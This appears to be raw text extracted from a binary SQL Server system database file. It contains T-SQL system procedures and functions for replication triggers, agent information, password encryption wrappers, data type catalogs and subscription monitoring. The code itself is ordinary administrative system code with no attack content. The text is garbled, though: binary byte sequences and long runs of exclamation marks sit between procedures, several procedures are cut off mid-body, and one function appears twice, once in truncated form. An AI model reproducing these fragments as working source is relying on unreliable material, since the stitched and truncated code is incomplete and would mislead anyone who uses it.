			has_perms_by_name(@entity, 'object', 'update', name, 'column') <> 0
			
		INSERT INTO @myperms
		    SELECT @entity, name, 'REFERENCES'
		    FROM sys.columns where object_id = @objId AND
			has_perms_by_name(@entity, 'object', 'references', name, 'column') <> 0
	    end
	RETURN
    END
0ڤw@ 	8/*
** We need to qualify sysmergearticle with pubid
*/
create procedure sys.sp_MSdroparticletriggers
    (@source_table sysname,
     @table_owner    sysname = NULL)
as
    set nocount on

    declare @instrigger             nvarchar(517)
    declare @updtrigger             nvarchar(517)
    declare @deltrigger             nvarchar(517)
    declare @downloadonlytrigger    nvarchar(517)
    declare @retcode                int
    declare @owner                    sysname
    declare @artid                    uniqueidentifier
    declare @guidstr                nvarchar(32)
    declare @islightweight            bit
    declare @qualified_name         nvarchar(517)
    declare @objid                    int

    set @owner= coalesce(@table_owner, 'dbo')

    set @qualified_name= quotename(@owner) + '.' + quotename(@source_table)

    set @objid= object_id(@qualified_name)

    -- Check whether the table is hws or lws, return success if it is neither.
    select top 1 @islightweight= lightweight, @artid= artid
        from dbo.sysmergearticles 
        where objid=@objid

    if @islightweight is null return 0

    if 0=@islightweight
    begin
        exec @retcode=sys.sp_MSguidtostr @artid, @guidstr out
        if @retcode<>0 or @@ERROR<>0 return (1)

        select @instrigger = QUOTENAME(@owner) + '.MSmerge_ins_' + @guidstr
        select @updtrigger = QUOTENAME(@owner) + '.MSmerge_upd_' + @guidstr
        select @deltrigger = QUOTENAME(@owner) + '.MSmerge_del_' + @guidstr
        select @downloadonlytrigger = QUOTENAME(@owner) + '.MSmerge_downloadonly_' + @guidstr
            
        if object_id(@instrigger) is not NULL
        begin
            exec ('drop trigger ' + @instrigger)
            if @@ERROR<>0 return (1)
        end
        if object_id(@updtrigger) is not NULL
        begin
            exec ('drop trigger ' + @updtrigger)
            if @@ERROR<>0 return (1)
        end
        if object_id(@deltrigger) IS NOT NULL
        begin
            exec ('drop trigger ' + @deltrigger)
            if @@ERROR<>0 return (1)
        end
        if object_id(@downloadonlytrigger) IS NOT NULL
        begin
            exec ('drop trigger ' + @downloadonlytrigger)
            if @@ERROR<>0 return (1)
        end
    end -- 0=@islightweight
    else
    begin
        exec @retcode= sys.sp_MSdroplightweighttriggers @artid=@artid
        if @@error<>0 or @retcode<>0 return 1
    end

    return 0
 
            -- matching substring to the resulting command and
            -- eat the substring in the process
            select @resulting_command = @resulting_command + substring(@command, 1, @pattern_start + @parameter_length - 1)
            select @command = substring(@command, @pattern_start + @parameter_length, @command_length - @pattern_start - @parameter_length + 1)
        end

        select @first_iteration = 0
        select @pattern_start = patindex(@pattern, @command)
    end

    select @resulting_command = @resulting_command + @command

    if @found_parameter = 0
    begin
        select @resulting_command = rtrim(@resulting_command) + N' ' + N'-' +
               @parameter + N' ' + rtrim(ltrim(@argument)) 
    end
    return @resulting_command
end
0@ 8CREATE VIEW sys.dm_os_memory_cache_entries AS
	SELECT *
	FROM OpenRowset(TABLE SYSMEMORYCACHEENTRIES)
0 I8
create procedure sys.sp_assemblies_rowset2
(
    @assembly_schema    sysname = null,
    @assembly_id        int = null
)
as
    select
        ASSEMBLY_CATALOG    = db_name(),
        ASSEMBLY_SCHEMA     = user_name(a.principal_id),
        ASSEMBLY_NAME       = a.name,
        ASSEMBLY_ID         = convert(int,a.assembly_id),
        PERMISSION_SET      = convert(NVARCHAR(30),
                                    case a.permission_set
                                    when 1 then 'SAFE'
                                    when 2 then 'EXTERNAL_ACCESS'
                                    when 3 then 'UNSAFE'
                                    end),
        ASSEMBLY_BINARY     = af.content
    from
        sys.assemblies a inner join
        sys.assembly_files af on
            (
                af.assembly_id = a.assembly_id
            )
    where
        (@assembly_schema is null or @assembly_schema = user_name(a.principal_id)) and
        (@assembly_id is null or @assembly_id = a.assembly_id)
    order by 1, 2, 3
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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withargument(
    @command nvarchar(3200),
    @parameter nvarchar(200),
    @argument  nvarchar(1000)
    ) returns nvarchar(3200)
begin
    declare @pattern nvarchar(806)
    declare @resulting_command nvarchar(3200)
    declare @command_length int
    declare @pattern_start int
    declare @first_iteration bit
    declare @parameter_length int
    declare @found_parameter bit
    
    select @first_iteration = 1
    select @found_parameter = 0
    select @pattern = sys.fn_generateparameterpattern(@parameter)
    select @parameter_length = len(@parameter) + 1 -- leading - or /

    select @resulting_command = N''
    select @pattern_start = patindex(@pattern,@command)
        
    if @argument is null
    begin
        select @argument = N''
    end

    while @pattern_start <> 0 and @pattern_start is not null
    begin
        select @command_length = len(@command)

        -- Check if the pattern found is properly delimited in the command,
        -- If so, try to change the argument of the parameter with the given
        -- value.
        if (@pattern_start = 1 and @first_iteration = 1 or
            (@pattern_start > 1 and sys.fn_chariswhitespace(substring(@command, @pattern_start - 1, 1)) = 1)) and
            (sys.fn_chariswhitespace(substring(@command, @pattern_start + @parameter_length, 1)) = 1)
        begin

            -- Add everything before the parameter to the resulting command
            select @resulting_command = @resulting_command + rtrim(substring(@command, 1, @pattern_start - 1))

            -- Add back the parameter with the specified argument
            if @resulting_command <> ''
            begin
                select @resulting_command = @resulting_command + N' '
            end
            select @resulting_command = @resulting_command + N'-' + @parameter + N' ' + rtrim(ltrim(@argument)) + ' '

            -- Remove the leading part of the command up to the begining of the
            -- matching pattern
            select @command = substring(@command, @pattern_start, @command_length - @pattern_start + 1)

            -- Remove all traces of the specified parameter from the remaining
            -- command line
            select @command = sys.fn_removeparameterwithargument(@command, @parameter)
            select @found_parameter = 1
        end
        else
        begin
            -- Not a properly delimited parameter so transfer the 
            -- matching substring to the resulting command and
            -- eat the substring in the process
            select @resulting_command = @resulting_command + substring(@command, 1, @pattern_start + @parameter_length - 1)
            select @command = substring(@command, @pattern_start + @parameter_length, @command_length - @pattern_start - @parameter_length + 1)
        end

        select @first_iteration = 0
        select @pattern_start = patindex(@pattern, @command)
    end

    select @resulting_command = @resulting_command + @command

    if @found_parameter = 0
    begin
        select @resulting_command = rtrim(@resulting_command) + N' ' + N'-' +
               @parameter + N' ' + rtrim(ltrim(@argument)) 
    end
    return @resulting_command
end
09 
8--
-- Name:	
--		sp_helpqreader_agent
--			
-- Description: 
--		Displays the following information on qreader agent:
--			QA ID
--			NAME
--			Job ID
--			Job Login
--			Job Password (dummy value of 10 *'s)
--	
-- Security: 
--		DBO of distributiondb
-- Requires Certificate signature for catalog access
--
-- Returns: 	
--		0 : success
--		1 : failure 		 
--
CREATE PROCEDURE sys.sp_helpqreader_agent
(
	@frompublisher bit = 0
)
AS
BEGIN
	DECLARE @retcode int
	
	IF @frompublisher = 0
	BEGIN
		-- Security Check: require sysadmin/dbo of dist 
		IF IS_SRVROLEMEMBER('sysadmin') != 1
		BEGIN
			RAISERROR(21089,16,-1) 
			RETURN 1
		END

		-- database must be distribution db or we exit with no resultset
		IF sys.fn_MSrepl_isdistdb(DB_NAME()) <> 1
		BEGIN
			RETURN 0
		END
	END
	ELSE
	BEGIN
		-- Security Check: require sysadmin/dbo of publisher 
		IF IS_SRVROLEMEMBER('sysadmin') != 1
			AND IS_MEMBER ('db_owner') != 1
		BEGIN
			RAISERROR(21089,16,-1) 
			RETURN 1
		END

		-- only verify this for the DBO case, sysadmin gets a pass
		IF IS_SRVROLEMEMBER('sysadmin') != 1
		BEGIN
			-- must be tran published or we exit with no resultset
			IF sys.fn_MSrepl_istranpublished(DB_NAME(),0) <> 1
			BEGIN
				RETURN 0
			END
		END
	END

	--
	-- if executed from publisher
	--
	IF @frompublisher = 1
	BEGIN
		DECLARE @loc_publisher sysname
				,@loc_distribdb sysname
				,@rpcsrvname sysname
				,@rpc nvarchar(1000)
		--
		-- get the distributor rpc info
		--
		SELECT @loc_publisher = CONVERT(sysname, SERVERPROPERTY('ServerName'))
		EXEC @retcode = sys.sp_MSrepl_getdistributorinfo @publisher = @loc_publisher,
															@rpcsrvname = @rpcsrvname OUTPUT,
															@distribdb = @loc_distribdb OUTPUT

		IF @@error <> 0 OR @retcode <> 0 or (@rpcsrvname IS NULL) or (@loc_distribdb IS NULL)
		BEGIN
			RAISERROR(20036, 16, -1)
			RETURN 1
		END
		--
		-- execute the RPC
		--
		select @rpc = quotename(@rpcsrvname) + N'.' + quotename(@loc_distribdb) + N'.dbo.sp_helpqreader_agent'
		exec @retcode = @rpc @frompublisher = 0
		IF @@error != 0
			select @retcode = 1

		RETURN @retcode
	END	
	
	SELECT msqa.id, 
			msqa.name,
			sjb.job_id,
			sc.credential_identity as [job_login],
			N'**********' as [job_password]
		FROM MSqreader_agents msqa
			JOIN msdb..sysjobs sjb
				ON convert(uniqueidentifier, msqa.job_id) = sjb.job_id
			LEFT JOIN msdb..sysjobsteps sj
				ON msqa.job_step_uid = sj.step_uid
			LEFT JOIN msdb..sysproxies sp
				ON sj.proxy_id = sp.proxy_id
			LEFT JOIN sys.credentials sc
				ON sp.credential_id = sc.credential_id

	RETURN 0
END
_security_mode != 1
		OR @distributor_login IS NOT NULL
		OR @distributor_password IS NOT NULL		
	BEGIN
			
	    -- Add the agents for pull or anonymous subscriptions. 
	    DECLARE #hCsubscription CURSOR LOCAL FAST_FORWARD FOR
	        SELECT publisher, publisher_db, publication    
	            FROM MSreplication_subscriptions where 
	                publication is not NULL and
	                publication <> N'' and
	                subscription_type <> @push

	    FOR READ ONLY
	    OPEN #hCsubscription

	    FETCH #hCsubscription INTO @publisher, @publisher_db, @publication
	    WHILE (@@fetch_status <> -1)
	    BEGIN
	        EXECUTE @retcode  = sys.sp_addpullsubscription_agent 
	            @publisher = @publisher, 
	            @publisher_db = @publisher_db, 
	            @publication = @publication,
	            @frequency_type  = 2 ,  /* 2== OnDemand */
	            @subscriber_security_mode = @subscriber_security_mode,
				@subscriber_login = @subscriber_login,
				@subscriber_password = @subscriber_password,
	            @distributor_security_mode = @distributor_security_mode,
	            @distributor_login = @distributor_login,
	            @distributor_password = @distributor_password,
	            @job_login = @job_login,
	            @job_password = @job_password

	        if @@error <> 0 or @retcode <> 0 
	        begin
	            select @retcode = 1
	            goto Cleanup
	        end
	        FETCH #hCsubscription INTO @publisher, @publisher_db, @publication
	    END
	END
	
Cleanup:
    -- Nothing to cleanup
    return    @retcode
end
0?Z D8nh|%!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!p
Dr
`e<a"v">f0%@ 8--
-- Name: sp_add_data_file_recover_suspect_db
-- Purpose: Adds a data file to a suspect database and runs
-- 		recovery on the database.  This SP should only be used
--		on databases that have been marked suspect due to
--		insufficient data (error 1105) or log (error 9002) space.
--
create procedure sys.sp_add_data_file_recover_suspect_db
	@dbName 	sysname			-- database name
	,@filegroup	nvarchar(260)		-- file group for new file
	,@name		nvarchar(260)		-- logical file name
	,@filename	nvarchar(260)		-- OS file name
	,@size		nvarchar(20) 	= NULL	-- initial file size
	,@maxsize	nvarchar(20) 	= NULL	-- maximum file size
	,@filegrowth	nvarchar(20) 	= NULL	-- growth increment
as
	if (SERVERPROPERTY('IsMatrix') = 1)
	begin
		raiserror (28401, -1, -1, N'sys.sp_add_data_file_recover_suspect_db')
		return (1)
	end

	EXEC sys.sp_add_file_recover_suspect_db @dbName, 'DATA', @filegroup, @name, @filename, @size, @maxsize, @filegrowth
0拿 8
create procedure sys.sp_datatype_info_100
(
    @data_type int = 0,
    @ODBCVer tinyint = 2
)
as
    declare @mintype int
    declare @maxtype int

    set @ODBCVer = isnull(@ODBCVer, 2)
    if @ODBCVer < 3 -- includes ODBC 1.0 as well
        set @ODBCVer = 2
    else
        set @ODBCVer = 3

    if @data_type = 0
    begin
        select @mintype = -32768
        select @maxtype = 32767
    end
    else
    begin
        select @mintype = @data_type
        select @maxtype = @data_type
    end

    select
        TYPE_NAME           = v.TYPE_NAME,
        DATA_TYPE           = v.DATA_TYPE,
        PRECISION           = v.PRECISION,
        LITERAL_PREFIX      = v.LITERAL_PREFIX,
        LITERAL_SUFFIX      = v.LITERAL_SUFFIX,
        CREATE_PARAMS       = v.CREATE_PARAMS,
        NULLABLE            = v.NULLABLE,
        CASE_SENSITIVE      = v.CASE_SENSITIVE,
        SEARCHABLE          = v.SEARCHABLE,
        UNSIGNED_ATTRIBUTE  = v.UNSIGNED_ATTRIBUTE,
        MONEY               = v.MONEY,
        AUTO_INCREMENT      = v.AUTO_INCREMENT,
        LOCAL_TYPE_NAME     = v.LOCAL_TYPE_NAME,
        MINIMUM_SCALE       = v.MINIMUM_SCALE,
        MAXIMUM_SCALE       = v.MAXIMUM_SCALE,
        SQL_DATA_TYPE       = v.SQL_DATA_TYPE,
        SQL_DATETIME_SUB    = v.SQL_DATETIME_SUB,
        NUM_PREC_RADIX      = v.NUM_PREC_RADIX,
        INTERVAL_PRECISION  = v.INTERVAL_PRECISION,
        USERTYPE            = v.USERTYPE

    from
        sys.spt_datatype_info_view v

    where
        v.DATA_TYPE between @mintype and @maxtype and
        v.ODBCVer = @ODBCVer

    order by 2, 12, 11, 20
0 |8--
-- Name: 
--	sp_MSreplencrypt
-- 
-- Description: 
--	This procedure is a wrapper that actually calls
--	xp_repl_encrypt as well as fn_replencryptver4.
--
-- Parameters: 
--	See the procedure definition.
--
-- Returns: 
--	0 - On Success
--	1 - On Failure
--
-- Result: 
--	None
--
-- Security:None as this procedure is not public.
-- Requires Certificate signature for catalog access
--
CREATE PROCEDURE sys.sp_MSreplencrypt
(
	@password nvarchar(524) OUTPUT
)
AS
BEGIN
	DECLARE @retcode int
			
	IF LEN(@password) > 115
	BEGIN
		-- The password that you specified is too long. The password should have no more than 115 characters.
		RAISERROR(15156, 16, -1, 115)
		RETURN 1
	END

	EXEC @retcode = sys.xp_repl_encrypt @password OUTPUT
	IF @@ERROR <> 0 OR @retcode <> 0 RETURN 1
	
	EXEC @retcode = sys.sp_MSreplopensymmetrickey
	IF @@ERROR <> 0 OR @retcode <> 0 RETURN 1
	
	SELECT @password = sys.fn_replencryptver4(@password)
	IF @@ERROR <> 0 RETURN 1
	
	EXEC @retcode = sys.sp_MSreplclosesymmetrickey
	IF @@ERROR <> 0 OR @retcode <> 0 RETURN 1
	
	RETURN 0	
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!A
`l<Y#@0p 8create procedure sys.sp_db_selective_xml_index
(
	@dbname sysname = null,
	@selective_xml_index varchar(6) = null --> 'true', 'false', 'on', 'off'
)
as
	-- If database is not specified then is current database
	if (@dbname is null)
	begin
		set @dbname = DB_NAME();
	end
	-- If ON/OFF parameter is specified then is an action call
	if @selective_xml_index is not null
	begin
	-- on, true - enable Selective XML Index feature for particular database (@dbname)
	-- off, false - disable Selective XML Index feature for partcular database (@dbname)
		if (lower(@selective_xml_index) not in ('on', 'off', 'true', 'false'))
		begin	
			raiserror (15231,16,1,'@selective_xml_index','sp_db_selective_xml_index');
			return (1);
		end
		declare @fOnOff bit = 0;
		set @fOnOff = case lower(@selective_xml_index) 
			when 'on' then 1
			when 'true' then 1
			else 0
			end;
		exec %%DatabaseRef(Name = @dbname).SetSelectiveXmlIndex(SelectiveXmlIndex = @fOnOff);
	end
	select cast(
			case databasepropertyex(name, 'version')
				when 706 then 0  -- SQL11_RTM
				when 716 then 1  -- SQL11_SELECTIVE_XML_INDEX_ENABLED
			end as bit) as selective_xml_index
		 from sys.databases
		 where name = @dbname;
	return (0);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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`
q<$^dm0
 8
create procedure sys.sp_provider_types_90_rowset
(
    @data_type  smallint = null,
    @best_match tinyint  = null
)
as
    select
        TYPE_NAME           = s_ptv.TYPE_NAME,
        DATA_TYPE           = s_ptv.DATA_TYPE_90, -- Used by Yukon clients
        COLUMN_SIZE         = s_ptv.COLUMN_SIZE,
        LITERAL_PREFIX      = s_ptv.LITERAL_PREFIX,
        LITERAL_SUFFIX      = s_ptv.LITERAL_SUFFIX,
        CREATE_PARAMS       = s_ptv.CREATE_PARAMS_90,
        IS_NULLABLE         = s_ptv.IS_NULLABLE,
        CASE_SENSITIVE      = s_ptv.CASE_SENSITIVE,
        SEARCHABLE          = s_ptv.SEARCHABLE,
        UNSIGNED_ATTRIBUTE  = s_ptv.UNSIGNED_ATTRIBUTE,
        FIXED_PREC_SCALE    = s_ptv.FIXED_PREC_SCALE,
        AUTO_UNIQUE_VALUE   = s_ptv.AUTO_UNIQUE_VALUE,
        LOCAL_TYPE_NAME     = s_ptv.LOCAL_TYPE_NAME,
        MINIMUM_SCALE       = s_ptv.MINIMUM_SCALE_90,
        MAXIMUM_SCALE       = s_ptv.MAXIMUM_SCALE_90,
        GUID                = s_ptv.GUID,
        TYPELIB             = s_ptv.TYPELIB,
        VERSION             = s_ptv.VERSION,
        IS_LONG             = s_ptv.IS_LONG,
        BEST_MATCH          = s_ptv.BEST_MATCH_90,
        IS_FIXEDLENGTH      = s_ptv.IS_FIXEDLENGTH_90
    from
        sys.spt_provider_types_view s_ptv
    where
        (@data_type is null or s_ptv.DATA_TYPE_90 = @data_type) and
        (@best_match is null or s_ptv.BEST_MATCH_90 = @best_match)
    order by 2
0m 8CREATE FUNCTION sys.dm_db_stats_properties (@object_id int, @stats_id int)
RETURNS TABLE
AS
	RETURN SELECT * FROM OPENROWSET(TABLE DM_DB_STATS_PROPERTIES, @object_id, @stats_id)
0ğ v
8create function sys.fn_replmonitorsubscriptionranking 
(
    @status int
    ,@warning int
    ,@publication_type int -- 0 = tran, 1 = snapshot, 2 = merge
)
returns int
as
begin
    declare @ranking int

    --
    --Trans order:
    --
    --60 - Error 
    --57 - Warning - Performance critical with Subscription stopped
    --56 - Warning - Performance critical
    --53 - Warning - Expiring soon with Subscription stopped
    --52 - Warning - Expiring soon
    --50 - Warning - Subscription Uninitialized 
    --40 - Retrying failed command 
    --30 - Not running (Success)
    --20 - Running  (Starting, Running, Idle)
    --
    --Merge order:
    --
    --60 - Error 
    --56 - Warning - Performance critical
    --54 - Warning - Long-running merge
    --52 - Warning - Expiring soon
    --50 - Warning - Subscription Uninitialized 
    --40 - Retrying failed command 
    --30 - Running  (Starting, Running, Idle)
    --20 - Not running (Success)
    --

    if (@status > 5)
    begin
        -- agent status is 6 or more - error
        select @ranking = 60
    end
    else
    begin
        -- agent status is not error (ranking in range 56 - 20)
        -- first check warning
        if (@warning > 0)
        begin
            -- note we are using hardcoded warning bit status for performance reasons
            if (@publication_type = 2)
            begin
                -- merge subscription 
                -- 0x40 | 0x80 = 192 - mask for perf critical
                -- 0x10 | 0x20 = 48 - mask for long running
                -- 0x8 - mask for merge expiration
                select @ranking = case 
                                when (@warning & 192) > 0 then 56
                                when (@warning & 48) > 0 then 54
                                when (@warning & 8) > 0 then 52
                                else NULL end
            end
            else
            begin
                -- tran or snapshot subscription
                -- 0x2 = 2 - mask for perf critical (latency)
                -- 0x1 = 1 - mask for tran expiration
                select @ranking = case 
                                when (@warning & 2) > 0 then case when (@status = 2) then 57 else 56 end
                                when (@warning & 1) > 0 then case when (@status = 2) then 53 else 52 end
                                else NULL end
            end
        end
        --
        -- If we did not select ranking based on warnings
        -- fall through and do the no warning processing
        --
        if (@ranking is NULL)
        begin
            -- no warnings (ranking in range 50 - 20)
            if (@status = 0)
                select @ranking = 50
            else if (@status = 5)
                select @ranking = 40
            else
            begin
                if (@publication_type = 2)
                begin
                    -- merge subscription
                    select @ranking = case when (@status = 2) then 20 else 30 end
                end
                else
                begin
                    -- tran or snapshot subscription
                    select @ranking = case when (@status = 2) then 30 else 20 end
                end
            end
        end
    end
    --
    -- all done
    --
    return @ranking
end
0@ D8%)hy0eturns extended
--			HREPL information.
--  
-- Security: 
--          SQL Server publication:     'sysadmin', db_owner of publishing database, PAL
--          Heterogeneous publication:  'sysadmin', db_owner of distribution database, PAL
--
-- Returns:
--          Result set of article properties
--      
--

create procedure sys.sp_MSrepl_helparticlermo
(
    @publication sysname,         /* The publication name */
    @article sysname = '%',       /* The article name */
    @returnfilter bit = 1,        /* Return filter flag */
    @publisher sysname = NULL,
    @found	int  = 0 OUTPUT
)
AS
BEGIN
    DECLARE @cmd nvarchar(4000)
	DECLARE @retcode int
	DECLARE @publisher_type sysname

    select @retcode = 0

    EXEC @retcode = sys.sp_MSrepl_getpublisherinfo	@publisher			= @publisher,
													@publisher_type		= @publisher_type OUTPUT,
													@rpcheader			= @cmd OUTPUT,
													@skipSecurityCheck	= 1
													
    IF @retcode <> 0
        RETURN (@retcode)

	SET @publisher = UPPER(@publisher) COLLATE DATABASE_DEFAULT

	IF @publisher_type <> N'MSSQLSERVER'
	BEGIN
		select @cmd = @cmd + N'sys.sp_IHhelparticle'

		EXEC @retcode = @cmd
						@publication,
						@article,
						@returnfilter,
						@publisher,
						@publisher_type,
						@found OUTPUT,
						1
	END
	ELSE
	BEGIN
		select @cmd = @cmd + N'sys.sp_MSrepl_helparticle'

		EXEC @retcode = @cmd
				@publication,
				@article,
				@returnfilter,
				@publisher,
				@found OUTPUT,
				1
	END
	
    RETURN (@retcode)
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!;9`&<-%'E0f 8create procedure sys.sp_tablecollations_100
(
    @object nvarchar(4000)
)
as
    select
        colid               = s_tcv.colid,
        name                = s_tcv.name,
        tds_collation       = s_tcv.tds_collation_100,
        "collation"         = s_tcv.collation_100
    from
        sys.spt_tablecollations_view s_tcv
    where
        s_tcv.object_id = object_id(@object, 'local')
    order by colid
